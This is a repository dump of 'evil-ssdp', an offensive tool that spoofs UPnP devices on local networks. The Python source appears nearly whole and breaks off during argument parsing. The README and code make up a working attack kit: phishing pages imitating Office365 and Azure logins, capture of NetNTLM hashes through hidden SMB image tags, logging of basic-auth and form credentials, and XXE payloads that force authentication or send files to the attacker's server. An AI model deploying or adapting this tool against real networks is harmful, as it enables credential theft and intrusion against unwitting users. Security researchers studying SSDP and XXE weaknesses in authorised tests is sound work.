├── .gitignore ├── CONTRIBUTING.md ├── LICENSE ├── README.md ├── evil_ssdp.py ├── requirements.txt └── templates ├── bitcoin ├── device.xml ├── present.html └── service.xml ├── microsoft-azure ├── device.xml ├── present.html └── service.xml ├── office365 ├── device.xml ├── present.html └── service.xml ├── password-vault ├── device.xml ├── present.html └── service.xml ├── scanner ├── device.xml ├── present.html └── service.xml ├── xxe-exfil ├── data.dtd ├── device.xml ├── present.html └── service.xml └── xxe-smb ├── device.xml ├── present.html └── service.xml /.gitignore: -------------------------------------------------------------------------------- 1 | logs-essdp.txt 2 | -------------------------------------------------------------------------------- /CONTRIBUTING.md: -------------------------------------------------------------------------------- 1 | # Contributing Guidelines 2 | 3 | Thank you so much for thinking about contributing! 4 | 5 | There are a few ways you can help, if you're so inclined: 6 | 7 | - Open up an issue on here if you notice something odd. 8 | - Submit a feature request if you think the tool should be doing something additional. 9 | - Submit bug fixes or streamlime the existing code. 10 | 11 | I'd like to keep the tool pretty straightforward, so that it does one thing and does it well. 12 | 13 | Before you spend a lot of time re-writing something massive, it might be worth contacting me first just to make sure I'm not in the middle of a conflicting re-write. You can open an issue or try me at protonmail. 14 | 15 | I may redirect commits to the dev branch for some burning in before pushing to master. If there is any type of credit of special handling you'd like with your contribution, please let me know and I will do my best to oblige. 16 | 17 | Some info on contributing code: 18 | - Python 3, without maintaining backwards support for Python 2 19 | - Run through pylint for best-effort PEP8 20 | 21 | Thanks for reading! 22 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 InitString 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Overview 2 | This tool responds to SSDP multicast discover requests, posing as a generic UPNP device. Your spoofed device will magically appear in Windows Explorer on machines in your local network. Users who are tempted to open the device are shown a configurable phishing page. This page can load a hidden image over SMB, allowing you to capture or relay the NetNTLM challenge/response. 3 | 4 | Templates are also provided to capture clear-text credentials via basic authentication and logon forms, and creating your own custom templates is quick and easy. 5 | 6 | This requires no existing credentials to execute and works even on networks that have protected against Responder attacks by disabling NETBIOS and LLMNR. Any Operating System or application leveraging SSDP/UPNP can be targeted, but most of the current weaponization has been aimed at Windows 10. 7 | 8 | [Video: Phishing Overview](https://initstring.keybase.pub/host/videos/essdp-phishing.mp4) 9 | 10 | As a bonus, this tool can also detect and exploit potential zero-day vulnerabilities in the XML parsing engines of applications using SSDP/UPNP. If a vulnerable device is found, it will alert you in the UI and then mount your SMB share or exfiltrate data with NO USER INTERACTION REQUIRED via an XML External Entity (XXE) attack. 11 | 12 | [Video: 0-Day Overview](https://initstring.keybase.pub/host/videos/essdp-0days.mp4) 13 | 14 | # Usage 15 | The most basic run looks like this: 16 | 17 | ``` 18 | evil_ssdp.py eth0 19 | ``` 20 | 21 | You need to provide the network interface at a minimum. The interface is used for both the UDP SSDP interaction as well as hosting a web server for the XML files and phishing page. 22 | 23 | The tool will automatically update an IMG tag in the phishing page using the IP of the interface you provide. To work with challenge/response, you'll need to launch an SMB server at that interface (like Impacket). This address can be customized with the `-s` option. 24 | 25 | Some example scenarios: 26 | 27 | ``` 28 | # Use wlan0 for device advertisement and phishing, capturing NetNTLM and 29 | # asking for clear-text via a spoofed Office365 logon form. Redirect to 30 | # Microsoft aftering capturing credentials: 31 | evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' 32 | 33 | # Same as above, but assuming your SMB server is running on another IP: 34 | evil_ssdp.py wlan0 -t office365 -u 'https://office.microsoft.com' \ 35 | -s 192.168.1.205 36 | 37 | # Prompt for creds using basic auth and redirect to Azure: 38 | evil_ssdp.py wlan0 -t microsoft-azure -u \ 39 | 'https://azure.microsoft.com/auth/signin/' -b 40 | 41 | # Hope for an XXE vul to capture NetNTLM while Impacket/Responder is running 42 | on wlan0: 43 | evil_ssdp.py wlan0 -t xxe-smb 44 | ``` 45 | 46 | Full usage details: 47 | 48 | ``` 49 | usage: evil_ssdp.py [-h] [-p PORT] [-t TEMPLATE] [-s SMB] [-b] [-r REALM] 50 | [-u URL] 51 | interface 52 | 53 | positional arguments: 54 | interface Network interface to listen on. 55 | 56 | optional arguments: 57 | -h, --help show this help message and exit 58 | -p PORT, --port PORT Port for HTTP server. Defaults to 8888. 59 | -t TEMPLATE, --template TEMPLATE 60 | Name of a folder in the templates directory. Defaults 61 | to "office365". This will determine xml and phishing 62 | pages used. 63 | -s SMB, --smb SMB IP address of your SMB server. Defalts to the primary 64 | address of the "interface" provided. 65 | -b, --basic Enable base64 authentication for templates and write 66 | credentials to log file. 67 | -r REALM, --realm REALM 68 | Realm when prompting target for authentication via 69 | Basic Auth. 70 | -u URL, --url URL Redirect to this URL. Works with templates that do a 71 | POST for logon forms and with templates that include 72 | the custom redirect JavaScript (see README for more 73 | info).[example: -r https://google.com] 74 | -a, --analyze Run in analyze mode. Will NOT respond to any SSDP 75 | queries, but will still enable and run the web server 76 | for testing. 77 | ``` 78 | 79 | # Templates 80 | The following templates come with the tool. If you have good design skills, please contribute one of your own! 81 | 82 | - `office365`: Will show up in Windows Explorer as "Office365 Backups". Phishing page looking like Office365 logon will POST credentials back to you. These will be flagged in the UI and logged in the log file. Recommend to run with '-u https://www.office.com' to redirect users to the legit site after stealing their credentials. Developer: [pentestgeek](https://github.com/pentestgeek/phishing-frenzy-templates). 83 | - `scanner`: Will show up in Windows Explorer as a scanner with the name "Corporate Scanner [3 NEW SCANS WAITING]". Double-clicking will bring to a generic looking logon page. This template would do well with customization for your particular target. Template mostly copied from [this template](http://codepen.io/miroot/pen/qwIgC). 84 | - `microsft-azure`: Will appear in Windows Explorer as "Microsoft Azure Storage". Landing page is the Windows Live login page when cookies are disabled. Recommend to use with the -u option to redirect users to real login page. Developer: [Dwight Hohnstein](https://github.com/djhohnstein). 85 | - `bitcoin`: Will show up in Windows Explorer as "Bitcoin Wallet". Phishing page is just a random set of Bitcoin private/public/address info. There are no actual funds in these accounts. 86 | - `password-vault`: Will show up in Windows Explorer as "IT Password Vault". Phishing page contains a short list of fake passwords / ssh keys / etc. 87 | - `xxe-smb`: Will not likely show up in Windows Explorer. Used for finding zero day vulnerabilities in XML parsers. Will trigger an "XXE - VULN" alert in the UI for hits and will attempt to force clients to authenticate with the SMB server, with 0 interaction. 88 | - `xxe-exfil`: Another example of searching for XXE vulnerabilities, but this time attempting to exfiltrate a test file from a Windows host. Of course you can customize this to look for whatever specific file you are after, Windows or Linux. In the vulnerable applications I've discovered, exfiltration works only on a file with no whitepace or linebreaks. This is due to how it is injected into the URL of a GET request. If you get this working on multi-line files, PLEASE let me know how you did it. 89 | 90 | Creating your own templates is easy. Simply copy the folder of an existing template and edit the following files: 91 | - `device.xml`: Here is where you will define what the device looks like inside Windows Explorer. 92 | - `present.html`: This is the phishing page displayed when a target opens the evil device. Craft anything you like here. Note that Python's string template will parse this, so you will need to use `$$` in place of `$` anywhere to escape the template engine. 93 | - `service.xml`: Not yet implemented. May be needed for more complex UPNP spoofing in the future. 94 | 95 | In your phishing page (`present.html`), use variables like the following for additional functionality: 96 | 97 | ``` 98 | # The following line will initiate a NetNTLM challenge/response using the IP 99 | # address of either the interface you provide or an optionally specified IP 100 | # address: 101 | 102 | 103 | # The following will leverage optionally specified URL redirection. This is 104 | # handy when used with basic authentication to redirect to a valid site. This 105 | # line is built in to the microsoft-azure template: 106 | 112 | 113 | 114 | # If using an HTTP form to capture clear-text credentials, use code like the 115 | # following. Also any template doing a POST request will automatically 116 | # support the '-u' parameter to redirect after the POST completes. The tool 117 | # will monitor POSTs to this URL for credentials: 118 |
119 | ``` 120 | 121 | The tool currently only correctly creates devices for the UPNP 'Basic' device type, although it is responding to the SSDP queries for all devices types. If you know UPNP well, you can create a new template with the correct parameters to fufill requests for other device types as well. There is still a lot to explore here with exploiting specific applications and the way they expect and leverage UPNP devices. 122 | 123 | # Technical Details 124 | Simple Service Discovery Protocol (SSDP) is used by Operating Systems (Windows, MacOS, Linux, IOS, Android, etc) and applications (Spotify, Youtube, etc) to discover shared devices on a local network. It is the foundation for discovering and advertising Universal Plug & Play (UPNP) devices. 125 | 126 | Devices attempting to discover shared network resources will send a UDP multicast out to 239.255.255.250 on port 1900. The source port is randomized. An example request looks like this: 127 | ``` 128 | M-SEARCH * HTTP/1.1 129 | Host: 239.255.255.250:1900 130 | ST: upnp:rootdevice 131 | Man: "ssdp:discover" 132 | MX: 3 133 | ``` 134 | 135 | To interact with this host, we need to capture both the source port and the 'ST' (Service Type) header. The response MUST be sent to the correct source port and SHOULD include the correct ST header. Note that it is not just the Windows OS looking for devices - scanning a typical network will show a large amount of requests from applications inside the OS (like Spotify), mobile phones, and other media devices. Windows will only play ball if you reply with the correct ST, other sources are more lenient. 136 | 137 | evil_ssdp will extract the requested ST and send a reponse like the following: 138 | 139 | ``` 140 | HTTP/1.1 200 OK 141 | CACHE-CONTROL: max-age=1800 142 | DATE: Tue, 16 Oct 2018 20:17:12 GMT 143 | EXT: 144 | LOCATION: http://192.168.1.214:8888/ssdp/device-desc.xml 145 | OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01 146 | 01-NLS: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c 147 | SERVER: UPnP/1.0 148 | ST: upnp:rootdevice 149 | USN: uuid:7f7cc7e1-b631-86f0-ebb2-3f4504b58f5c::upnp:rootdevice 150 | BOOTID.UPNP.ORG: 0 151 | CONFIGID.UPNP.ORG: 1 152 | ``` 153 | 154 | The headers (specifically LOCATION, 01-NLS, ST, and USN) are constructed dynamically. This tells the requestor where to find more information about our device. Here, we are forcing Windows (and other requestors) to access our 'Device Descriptor' xml file and parse it. The USN is just a random string and needs only to be unique and formatted properly. 155 | 156 | evil_ssdp will pull the 'device.xml' file from the chosen templates folder and dynamically plug in some variables such as your IP address. This 'Device Descriptor' file is where you can customize some juicy-sounding friendly names and descriptions. It looks like this: 157 | 158 | ``` 159 | 160 | 161 | 162 | 1 163 | 0 164 | 165 | http://$local_ip:$local_port 166 | 167 | http://$local_ip:$local_port/present.html 168 | urn:schemas-upnp-org:device:Basic:1 169 | Office365 Backups 170 | Secure Storage for Office365 171 | MS Office 172 | Office 365 Backups 173 | $session_usn 174 | 175 | 176 | urn:schemas-upnp-org:device:Basic:1 177 | urn:schemas-upnp-org:device:Basic 178 | /ssdp/service-desc.xml 179 | /ssdp/service-desc.xml 180 | /ssdp/service-desc.xml 181 | 182 | 183 | 184 | 185 | 186 | ``` 187 | 188 | A key line in this file contains the 'Presentation URL'. This is what will load in a user's browser if they decide to manually double-click on the UPNP device. evil_ssdp will host this file automatically (present.html from the chosen template folder), plugging in your source IP address into an IMG tag to access an SMB share that you can host with tools like [Impacket](https://www.coresecurity.com/corelabs-research/open-source-tools/impacket), [Responder](https://github.com/SpiderLabs/Responder), or [Metasploit](https://www.rapid7.com/db/modules/auxiliary/server/capture/smb). 189 | 190 | The IMG tage looks like this: 191 | 192 | ``` 193 |
194 | ``` 195 | 196 | # Zero-Day Hunting 197 | By default, this tool essentially forces devices on the network to parse an XML file. A well-known attack against applications that parse XML exists - [XML External Entity Processing (XXE)](https://www.owasp.org/index.php/XML_External_Entity_%28XXE%29_Processing). 198 | 199 | This type of attack against UPNP devices in likely overlooked - simply because the attack method is complex and not readily apparent. However, evil_ssdp makes it very easy to test for vulnerable devices on your network. Simply run the tool and look for a big `[XXE VULN!!!]` in the output. NOTE: using the xxe template will likely not spawn visibile evil devices across the LAN, it is meant only for zero-interaction scenarios. 200 | 201 | This is accomplished by providing a Device Descriptor XML file with the following content: 202 | 203 | ``` 204 | 205 | 207 | 208 | ]> 209 | &xxe;&xxe-url; 210 | ``` 211 | 212 | When a vulnerable XML parser reads this file, it will automatically mount the SMB share (allowing you to crack the hash or relay) as well as access an HTTP URL to notify you it was discovered. The notification will contain the HTTP headers and an IP address, which should give you some info on the vulnerable application. If you see this, please do contact the vendor to fix the issue. Also, I would love to hear about any zero days you find using the tool. And please do mention the tool in your CVE. 213 | 214 | 215 | # Thanks 216 | - Thanks to ZeWarren and his project [here](https://github.com/ZeWaren/python-upnp-ssdp-example). I used this extensively to understand how to get the basics for SSDP working. 217 | - Thanks to the pentest geek and their phishing templates [here](https://github.com/pentestgeek/phishing-frenzy-templates). I used the Office365 login page from there. 218 | - Thanks to [Dwight Hohnstein](https://github.com/djhohnstein) for his great work to implement cool features like basic authentication, realm support, and automatic redirection in evil_ssdp. He kindly wrote and provided code to make this work. 219 | - Thanks to the following folks for submitting bugfixes: 220 | - Nadar, Ender Akbas, bubbleguuum 221 | 222 | Also thanks to Microsoft for developing lots of fun insecure things to play with. 223 | 224 | *This is a security research tool. Use only where granted explicit permission from the network owner.* 225 | -------------------------------------------------------------------------------- /evil_ssdp.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | """ 4 | evil-ssdp by initstring (github.com/initstring) 5 | 6 | This tool is used to respond to SSDP queries on a LAN, creating fake UPNP 7 | devices that appear in Windows Explorer and inside various applications. 8 | 9 | There are multiple use cases, but the primary ideas are: 10 | * Trick users into visiting malicious sites, grabbing NetNTLM 11 | challenge/response or clear-text credentials. 12 | * Exploit 0-day vulnerabilities in the XML parsing engines of applications. 13 | Several CVEs have come of this, including Plex and Vuze. 14 | """ 15 | 16 | from multiprocessing import Process 17 | from string import Template 18 | from http.server import BaseHTTPRequestHandler, HTTPServer 19 | from socketserver import ThreadingMixIn 20 | from email.utils import formatdate 21 | from ipaddress import ip_address 22 | import sys 23 | import os 24 | import re 25 | import argparse 26 | import socket 27 | import struct 28 | import signal 29 | import base64 30 | import random 31 | import netifaces 32 | 33 | 34 | BANNER = r''' 35 | ___________ .__.__ _________ _________________ __________ 36 | \_ _____/__ _|__| | / _____// _____/\______ \\______ \ 37 | | __)_\ \/ / | | \_____ \ \_____ \ | | \| ___/ 38 | | \\ /| | |__/ \/ \ | ` \ | 39 | /_______ / \_/ |__|____/_______ /_______ //_______ /____| 40 | \/ \/ \/ \/ 41 | 42 | ...by initstring (github.com/initstring) 43 | ''' 44 | 45 | print(BANNER) 46 | 47 | 48 | if sys.version_info < (3, 0): 49 | print("\nSorry mate, you'll need to use Python 3+ on this one...\n") 50 | sys.exit(1) 51 | 52 | 53 | class PC: 54 | """PC (Print Color) 55 | Used to generate some colorful, relevant, nicely formatted status messages. 56 | """ 57 | green = '\033[92m' 58 | blue = '\033[94m' 59 | orange = '\033[93m' 60 | red = '\033[91m' 61 | endc = '\033[0m' 62 | ok_box = blue + '[*] ' + endc 63 | note_box = green + '[+] ' + endc 64 | warn_box = orange + '[!] ' + endc 65 | msearch_box = blue + '[M-SEARCH] ' + endc 66 | xml_box = green + '[XML REQUEST] ' + endc 67 | phish_box = red + '[PHISH HOOKED] ' + endc 68 | creds_box = red + '[CREDS GIVEN] ' + endc 69 | xxe_box = red + '[XXE VULN!!!!] ' + endc 70 | exfil_box = red + '[EXFILTRATION] ' + endc 71 | detect_box = orange + '[DETECTION] ' + endc 72 | 73 | 74 | class SSDPListener: 75 | """UDP multicast listener for SSDP queries 76 | This class object will bind to the SSDP-spec defined multicast address and 77 | port. We can then receive data from this object, which will be capturing 78 | the UDP multicast traffic on a local network. Processing is handled in the 79 | main() function below. 80 | """ 81 | 82 | def __init__(self, local_ip, local_port, analyze): 83 | self.sock = None 84 | self.known_hosts = [] 85 | self.local_ip = local_ip 86 | self.local_port = local_port 87 | self.analyze_mode = analyze 88 | ssdp_port = 1900 # Defined by SSDP spec, do not change 89 | mcast_group = '239.255.255.250' # Defined by SSDP spec, do not change 90 | server_address = ('', ssdp_port) 91 | 92 | # The re below can help us identify obviously false requests 93 | # from detection tools. 94 | self.valid_st = re.compile(r'^[a-zA-Z0-9.\-_]+:[a-zA-Z0-9.\-_:]+$') 95 | 96 | # Generating a new unique USD/UUID may help prevent signature-like 97 | # detection tools. 98 | self.session_usn = ('uuid:' 99 | + self.gen_random(8) + '-' 100 | + self.gen_random(4) + '-' 101 | + self.gen_random(4) + '-' 102 | + self.gen_random(4) + '-' 103 | + self.gen_random(12)) 104 | 105 | # Create the socket 106 | self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) 107 | self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 108 | 109 | # Bind to the server address 110 | self.sock.bind(server_address) 111 | 112 | # Tell the operating system to add the socket to 113 | # the multicast group on for the interface on the specific IP. 114 | group = socket.inet_aton(mcast_group) 115 | mreq = struct.pack('4s4s', group, socket.inet_aton(self.local_ip)) 116 | self.sock.setsockopt( 117 | socket.IPPROTO_IP, 118 | socket.IP_ADD_MEMBERSHIP, 119 | mreq) 120 | 121 | @staticmethod 122 | def gen_random(length): 123 | """Generates random hex strings""" 124 | chars = 'abcdef' 125 | digits = '0123456789' 126 | value = ''.join(random.choices(chars + digits, k=length)) 127 | return value 128 | 129 | def send_location(self, address, requested_st): 130 | """ 131 | This function replies back to clients letting them know where they can 132 | access more information about our device. The keys here are the 133 | 'LOCATION' header and the 'ST' header. 134 | 135 | When a client receives this information back on the port they 136 | initiated a discover from, they will go to that location and parse the 137 | XML file. 138 | """ 139 | url = 'http://{}:{}/ssdp/device-desc.xml'.format(self.local_ip, 140 | self.local_port) 141 | date_format = formatdate(timeval=None, localtime=False, usegmt=True) 142 | 143 | ssdp_reply = ('HTTP/1.1 200 OK\r\n' 144 | 'CACHE-CONTROL: max-age=1800\r\n' 145 | 'DATE: {}\r\n' 146 | 'EXT:\r\n' 147 | 'LOCATION: {}\r\n' 148 | 'OPT: "http://schemas.upnp.org/upnp/1/0/"; ns=01\r\n' 149 | '01-NLS: {}\r\n' 150 | 'SERVER: UPnP/1.0\r\n' 151 | 'ST: {}\r\n' 152 | 'USN: {}::{}\r\n' 153 | 'BOOTID.UPNP.ORG: 0\r\n' 154 | 'CONFIGID.UPNP.ORG: 1\r\n' 155 | '\r\n\r\n' 156 | .format(date_format, 157 | url, 158 | self.session_usn, 159 | requested_st, 160 | self.session_usn, 161 | requested_st)) 162 | ssdp_reply = bytes(ssdp_reply, 'utf-8') 163 | self.sock.sendto(ssdp_reply, address) 164 | 165 | def process_data(self, data, address): 166 | """ 167 | This function parses the raw data received on the SSDPListener class 168 | object. If the M-SEARCH header is found, it will look for the specific 169 | 'Service Type' (ST) being requested and call the function to reply 170 | back, telling the client that we have the device type they are looking 171 | for. 172 | 173 | The function will log the first time a client does a specific type of 174 | M-SEARCH - after that it will be silent. This keeps the output more 175 | readable, as clients can get chatty. 176 | """ 177 | remote_ip = address[0] 178 | header_st = re.findall(r'(?i)\\r\\nST:(.*?)\\r\\n', str(data)) 179 | if 'M-SEARCH' in str(data) and header_st: 180 | requested_st = header_st[0].strip() 181 | if re.match(self.valid_st, requested_st): 182 | if (address[0], requested_st) not in self.known_hosts: 183 | print(PC.msearch_box + "New Host {}, Service Type: {}" 184 | .format(remote_ip, requested_st)) 185 | self.known_hosts.append((address[0], requested_st)) 186 | if not self.analyze_mode: 187 | self.send_location(address, requested_st) 188 | else: 189 | print(PC.detect_box + "Odd ST ({}) from {}. Possible" 190 | "detection tool!".format(requested_st, remote_ip)) 191 | 192 | 193 | class MultiThreadedHTTPServer(ThreadingMixIn, HTTPServer): 194 | """Multi-threaded server class 195 | Setting up this definition allows us to serve multiple HTTP requests in 196 | parallel. Without this, a client device may hang the HTTP server, blocking 197 | other devices from properly accessing and parsing the XML files. 198 | """ 199 | pass 200 | 201 | 202 | def build_class(upnp_args): 203 | """ 204 | Python3 documentation states to avoid __init__ in BaseHTTPRequestHandler 205 | sub class. Because of this, we are building the class inside a function. 206 | Each request will instantiate a new UPNPObject class object. 207 | """ 208 | template_dir = upnp_args['template_dir'] 209 | session_usn = upnp_args['session_usn'] 210 | smb_server = upnp_args['smb_server'] 211 | redirect_url = upnp_args['redirect_url'] 212 | is_auth = upnp_args['is_auth'] 213 | realm = upnp_args['realm'] 214 | local_ip = upnp_args['local_ip'] 215 | local_port = upnp_args['local_port'] 216 | 217 | class UPNPObject(BaseHTTPRequestHandler): 218 | """Spoofed UPnP object 219 | This class contains all the objects and actions required for a spoofed 220 | UPNP device. Device files will be built on the fly using variables 221 | passed in at command execution. Logging functions are overwritten to 222 | print relevant information to the console and log file. 223 | 224 | Any requests to the HTTP server other than those defined will be given 225 | the phishing page. The phishing page can optionally request an 226 | interactive logon if the "-b / --basic" has been specified. 227 | 228 | The phishing page the devices SHOULD be requesting is 'present.html' 229 | but we will serve it to all requests, in case a curious users sees the 230 | reference and browses there manually. 231 | """ 232 | 233 | @staticmethod 234 | def build_device_xml(): 235 | """ 236 | Builds the device descriptor XML file. 237 | """ 238 | variables = {'local_ip': local_ip, 239 | 'local_port': local_port, 240 | 'smb_server': smb_server, 241 | 'session_usn': session_usn} 242 | file_in = open(template_dir + '/device.xml') 243 | template = Template(file_in.read()) 244 | xml_file = template.substitute(variables) 245 | return xml_file 246 | 247 | @staticmethod 248 | def build_service_xml(): 249 | """ 250 | Builds the service descriptor XML file. 251 | ***Not yet implemented in evil-ssdp*** 252 | """ 253 | if 'service.xml' in template_dir: 254 | variables = {'local_ip': local_ip, 255 | 'local_port': local_port} 256 | file_in = open(template_dir + '/service.xml') 257 | template = Template(file_in.read()) 258 | xml_file = template.substitute(variables) 259 | else: 260 | xml_file = '.' 261 | return xml_file 262 | 263 | @staticmethod 264 | def build_phish_html(): 265 | """ 266 | Builds the phishing page served when users open up an evil device. 267 | """ 268 | variables = {'smb_server': smb_server, 269 | 'redirect_url': redirect_url} 270 | file_in = open(template_dir + '/present.html') 271 | template = Template(file_in.read()) 272 | phish_page = template.substitute(variables) 273 | return phish_page 274 | 275 | @staticmethod 276 | def build_exfil_dtd(): 277 | """ 278 | Builds the required page for data exfiltration when used with the 279 | xxe-exfil template. 280 | """ 281 | if 'xxe-exfil' in template_dir: 282 | variables = {'local_ip': local_ip, 283 | 'local_port': local_port} 284 | file_in = open(template_dir + '/data.dtd') 285 | template = Template(file_in.read()) 286 | exfil_page = template.substitute(variables) 287 | else: 288 | exfil_page = '.' 289 | return exfil_page 290 | 291 | def handle(self): 292 | """ 293 | Overriding this specifically to catch closed connection 294 | exceptions. 295 | """ 296 | try: 297 | BaseHTTPRequestHandler.handle(self) 298 | except socket.error: 299 | print(PC.detect_box + "{} connected but did not complete a" 300 | " valid HTTP verb. This is sometimes indicitive of a" 301 | " port scan or a detection tool." 302 | .format(self.address_string())) 303 | 304 | def do_GET(self): 305 | """ 306 | Handles all GET requests. Overwrites super class. 307 | """ 308 | if self.path == '/ssdp/device-desc.xml': 309 | # Parsed automatically by all SSDP apps 310 | self.send_response(200) 311 | self.send_header('Content-type', 'application/xml') 312 | self.end_headers() 313 | self.wfile.write(self.build_device_xml().encode()) 314 | elif self.path == '/ssdp/service-desc.xml': 315 | # Not yet implemented 316 | self.send_response(200) 317 | self.send_header('Content-type', 'application/xml') 318 | self.end_headers() 319 | self.wfile.write(self.build_service_xml().encode()) 320 | elif self.path == '/ssdp/xxe.html': 321 | # Access indicates XXE vulnerability 322 | self.send_response(200) 323 | self.send_header('Content-type', 'application/xml') 324 | self.end_headers() 325 | self.wfile.write('.'.encode()) 326 | elif self.path == '/ssdp/data.dtd': 327 | # Used for XXE exploitation 328 | self.send_response(200) 329 | self.send_header('Content-type', 'application/xml') 330 | self.end_headers() 331 | self.wfile.write(self.build_exfil_dtd().encode()) 332 | elif self.path == '/favicon.ico': 333 | self.send_response(404) 334 | self.wfile.write('Not found.'.encode()) 335 | else: 336 | if is_auth: 337 | # If user enables -b/--basic in CLI args 338 | if 'Authorization' not in self.headers: 339 | # If creds not given, ask for them 340 | self.process_authentication() 341 | self.wfile.write("Unauthorized.".encode()) 342 | elif 'Basic ' in self.headers['Authorization']: 343 | # Return phishing page after getting creds 344 | self.send_response(200) 345 | self.send_header('Content-type', 'text/html') 346 | self.end_headers() 347 | self.wfile.write(self.build_phish_html().encode()) 348 | else: 349 | self.send_response(500) 350 | self.wfile.write("Something happened.".encode()) 351 | elif self.path == '/present.html': 352 | self.send_response(200) 353 | self.send_header('Content-type', 'text/html') 354 | self.end_headers() 355 | self.wfile.write(self.build_phish_html().encode()) 356 | else: 357 | # Return phishing page for everything else 358 | self.send_response(301) 359 | self.send_header('Location', '/present.html') 360 | self.end_headers() 361 | 362 | 363 | def do_POST(self): 364 | """ 365 | Handles all POST requests. Overwrites super class. 366 | 367 | We generally only get POSTs to evil-ssdp when using templates 368 | that contain a logon prompt - phishing for clear-text credentials. 369 | 370 | It's probably best to use these with the '-u' parameter to 371 | redirect to a legit URL after POSTing. Otherwise, we will simply 372 | refresh the page. 373 | """ 374 | if self.path == '/ssdp/do_login.html': 375 | self.send_response(301) 376 | if redirect_url: 377 | self.send_header('Location', '{}'.format(redirect_url)) 378 | else: 379 | self.send_header('Location', 'http://{}:{}/present.html' 380 | .format(local_ip, local_port)) 381 | self.end_headers() 382 | 383 | def process_authentication(self): 384 | """ 385 | Will prompt user for credentials, causing execution to go back to 386 | the do_GET funtion for further processing. 387 | """ 388 | self.send_response(401) 389 | self.send_header('WWW-Authenticate', 'Basic realm=\"{}\"' 390 | .format(realm)) 391 | self.send_header('Content-type', 'text/html') 392 | self.end_headers() 393 | 394 | @staticmethod 395 | def write_log(data): 396 | """ 397 | Will append important info to a log file. This includes credentials 398 | given via basic auth as well as XXE vulnerabilities. 399 | """ 400 | with open('logs-essdp.txt', 'a') as log_file: 401 | time_stamp = formatdate(timeval=None, localtime=True, 402 | usegmt=False) 403 | log_file.write(time_stamp + ": " + data + "\n") 404 | log_file.close() 405 | 406 | def log_message(self, format, *args): 407 | """ 408 | Overwriting the built in function to provide useful feedback inside 409 | the text UI. Providing the 'User Agent' is helpful in understanding 410 | the types of devices that are interacting with evil-ssdp. 411 | 412 | The most important stuff (credentials submitted and XXE vulns) are 413 | logged to a text file in the working directory. 414 | """ 415 | address = self.address_string() 416 | agent = self.headers['user-agent'] 417 | verb = self.command 418 | path = self.path 419 | if 'xml' in self.path: 420 | print(PC.xml_box + "Host: {}, User-Agent: {}" 421 | .format(address, agent)) 422 | print(" {} {}".format(verb, path)) 423 | elif 'xxe.html' in self.path: 424 | data = PC.xxe_box + "Host: {}, User-Agent: {}\n".format( 425 | address, agent) 426 | data += " {} {}".format(verb, path) 427 | print(data) 428 | self.write_log(data) 429 | elif 'do_login' in self.path: 430 | content_length = int(self.headers['Content-Length']) 431 | post_body = self.rfile.read(content_length) 432 | credentials = post_body.decode('utf-8') 433 | data = PC.creds_box + "HOST: {}, FORM-POST CREDS: {}".format( 434 | address, credentials) 435 | print(data) 436 | self.write_log(data) 437 | elif 'data.dtd' in self.path: 438 | data = PC.xxe_box + "Host: {}, User-Agent: {}\n".format( 439 | address, agent) 440 | data += " {} {}".format(verb, path) 441 | print(data) 442 | self.write_log(data) 443 | elif 'exfiltrated' in self.path: 444 | data = PC.exfil_box + "Host: {}, User-Agent: {}\n".format( 445 | address, agent) 446 | data += " {} {}".format(verb, path) 447 | print(data) 448 | self.write_log(data) 449 | elif 'present.html' in self.path: 450 | print(PC.phish_box + "Host: {}, User-Agent: {}".format( 451 | address, agent)) 452 | print(" {} {}".format(verb, path)) 453 | elif 'favicon.ico' in self.path: 454 | return 455 | else: 456 | print(PC.detect_box + "Odd HTTP request from Host: {}, User" 457 | " Agent: {}".format(address, agent)) 458 | print(" {} {}".format(verb, path)) 459 | print(" ... sending to phishing page.") 460 | 461 | if 'Authorization' in self.headers: 462 | encoded = self.headers['Authorization'].split(" ")[1] 463 | plaintext = base64.b64decode(encoded).decode() 464 | data = PC.creds_box + "HOST: {}, BASIC-AUTH CREDS: {}".format( 465 | address, plaintext) 466 | print(data) 467 | self.write_log(data) 468 | 469 | return UPNPObject 470 | 471 | 472 | def process_args(): 473 | """Handles user-passed parameters""" 474 | parser = argparse.ArgumentParser() 475 | parser.add_argument('interface', type=str, action='store', 476 | help='Network interface to listen on.') 477 | parser.add_argument('-p', '--port', type=str, action='store', 478 | default=8888, 479 | help='Port for HTTP server. Defaults to 8888.') 480 | parser.add_argument('-t', '--template', type=str, action='store', 481 | default='office365', 482 | help=('Name of a folder in the templates directory. ' 483 | 'Defaults to "office365". This will determine ' 484 | 'xml and phishing pages used.')) 485 | parser.add_argument('-s', '--smb', type=str, action='store', 486 | help=('IP address of your SMB server. Defalts to the ' 487 | 'primary address of the "interface" provided.')) 488 | parser.add_argument('-b', '--basic', action="store_true", 489 | default=False, 490 | help=('Enable base64 authentication for templates and ' 491 | 'write credentials to log file.')) 492 | parser.add_argument("-r", "--realm", type=str, action='store', 493 | default='Microsoft Corporation', 494 | help='Realm when prompting target for authentication ' 495 